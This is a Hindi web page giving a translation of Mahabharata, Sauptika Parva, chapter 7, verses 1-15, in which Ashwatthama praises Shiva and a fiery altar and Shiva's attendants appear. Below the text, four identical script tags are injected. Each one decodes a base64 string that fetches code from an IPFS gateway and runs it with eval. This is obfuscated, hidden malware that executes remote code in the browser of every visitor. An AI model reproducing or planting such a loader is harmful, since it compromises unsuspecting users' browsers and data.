महाभारत सौप्तिक पर्व अध्याय 7 श्लोक 1-15

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

सप्‍तम (7) अध्याय: सौप्तिक पर्व

महाभारत: सौप्तिक पर्व: सप्‍तम अध्याय: श्लोक 1-15 का हिन्दी अनुवाद

अश्‍वत्‍थामा द्वारा शिव की स्‍तुति, उसके सामने एक अग्निवेदी तथा भूतगणों का प्राकट्य और उसका आत्‍मसर्मपण करके भगवान शिव से खड़ग प्राप्‍त करना संजय कहते हैं- प्रजानाथ ! ऐसा सोचकर द्रोणपुत्र अश्‍वत्‍थामा रथ की बैठक से उतर पड़ा और देवेश्‍वर महादेवजी- को प्रणाम करके खड़ा हो इस प्रकार स्‍तुति करने लगा । अश्‍वत्‍थामा बोला- प्रभो ! आप उग्र, स्‍थाणु, शिव, रूद्र, शर्व, ईशान, ईश्‍वर और गिरीश आदि नामों से प्रसिद्ध वरदायक देवता तथा सम्‍पूर्ण जगत् को उत्‍पन्‍न करने वाले परमेश्‍वर हैं। आपके ही दक्ष के यज्ञ का विनाश किया है। आप ही संहारकारी हर, विश्‍वरूप, भयानक नेत्रों वाले, अनेक रूपधारी तथा उमा देवी के प्राणनाथ हैं। आप श्‍मशान में निवास करते हैं। आपको अपनी शक्ति पर गर्व है। आप अपने महान् गणों के अधिपति, सर्वव्‍यापी तथा खष्‍टावंगधारी हैं, उपासकों का दु:ख दूर करने वाले रूद्र हैं, मस्‍तक पर जटा धारण करने वाले ब्रह्मचारी हैं। आपने त्रिपुरासुर का विनाश किया है। मैं विशुद्ध हृदय से अपने आपकी बलि देकर, जो मन्‍दमति मानवों के लिये अति दुष्‍कर है, आप का यजन करूँगा । पूर्वकाल में आपकी स्‍तुति की गयी है, भविष्‍य में भी आप स्‍तुति के योग्‍य बने रहेंगे और वर्तमान काल में भी आप की स्‍तुति की जाती है। आपका कोई भी संकल्‍प या प्रयत्‍न व्‍यर्थ नहीं होता । आप व्‍याघ्र-चर्ममय वस्‍त्र धारण करते हैं, लाहितवर्ण और नीलकण्‍ठ हैं। आपके वेग को सहन करना असम्‍भव है और आपको रोकना सर्वथा कठिन है। आप शुद्धस्‍वरुप ब्रह्म हैं। आपने ही ब्रह्माजी की सृष्टि की है। आप ब्रह्मचारी, व्रतधारी तथा तपोनिष्‍ठ हैं, आपका कहीं अन्‍त नहीं है। आप तपस्‍वीजनों के आश्रय, बहुत-से रूप धारण करने वाले तथा गणपति हैं। आपके तीन नेत्र हैं। अपने पार्षदों को आप बहुत प्रिय हैं। धनाध्‍यक्ष कुबेर सदा आपका मुख निहारा करते हैं। आप गौरांगिणी गिरिराजनन्दिनी के हृदय-वल्‍लभ हैं। कुमार कार्तिकेय के पिता भी आप ही हैं। आपका वर्ण पिंगल है। वृषभ आपका श्रेष्‍ठ वाहन है। आप अत्‍यन्‍त सूक्ष्‍म वस्‍त्र धारण करने वाले और अत्‍यन्‍त उग्र हैं । उमा देवी को वि‍भूषित करने में तत्‍पर रहते हैं। ब्रह्मा आदि देवताओं से श्रेष्‍ठ और परात्‍पर हैं। आपसे श्रेष्‍ठ दूसरा कोई नहीं है। आप उत्तम धनुष धारण करने वाले, दिगन्‍तव्‍यापी तथा सब देखों के रक्षक हैं। आपके श्रीअंगों में सुवर्णमय कवच शोभा पाता है। आपका स्‍वरूप दिव्‍य है तथा आप चन्‍द्रमय मुकुट से विभूषित होते हैं। मैं अपने चित्त को पूर्णत: एकाग्र करके आप परमेश्‍वर की शरण में आता हूँ । यदि मैं आज इस अत्‍यन्‍त दुष्‍कर और भयंकर विपत्ति से पार पा जाऊँ तो मैं सर्वभूतमय पवित्र उपहार समर्पित करके आप परम पावन परमेश्‍वर की पूजा करूँगा । इस प्रकार अश्‍वत्‍थामा का दृढ़ निश्‍चय जानकर उसके शुभकर्म के योग से उस महामनस्‍वी वीर के आगे एक सुवर्णमयी वेदी प्रकट हुई । राजन ! उस वेदी पर तत्‍काल ही अग्निदेव प्रकट हो गये, जो अपनी ज्‍वालाओं से सम्‍पूर्ण दिशाओं-विदिशाओं और आकाश को परिपूर्ण-सा कर रहे थे । वहीं बहुत-से महान् गण प्रकट हो गये, जो द्वीपवर्ती पर्वतों के समान बहुत ऊँचे कद के थे। उनके मुख और नेत्र दीप्ति से दमक रहे थे । उन गणों के पैर, मस्‍तक और भुजाएं अनेक थीं। वे अपनी बाहों में रत्‍न-निर्मित विचित्र अंगद धारण किये हुए थे। उन सबने अपने हाथ ऊपर उठा रखे थे ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>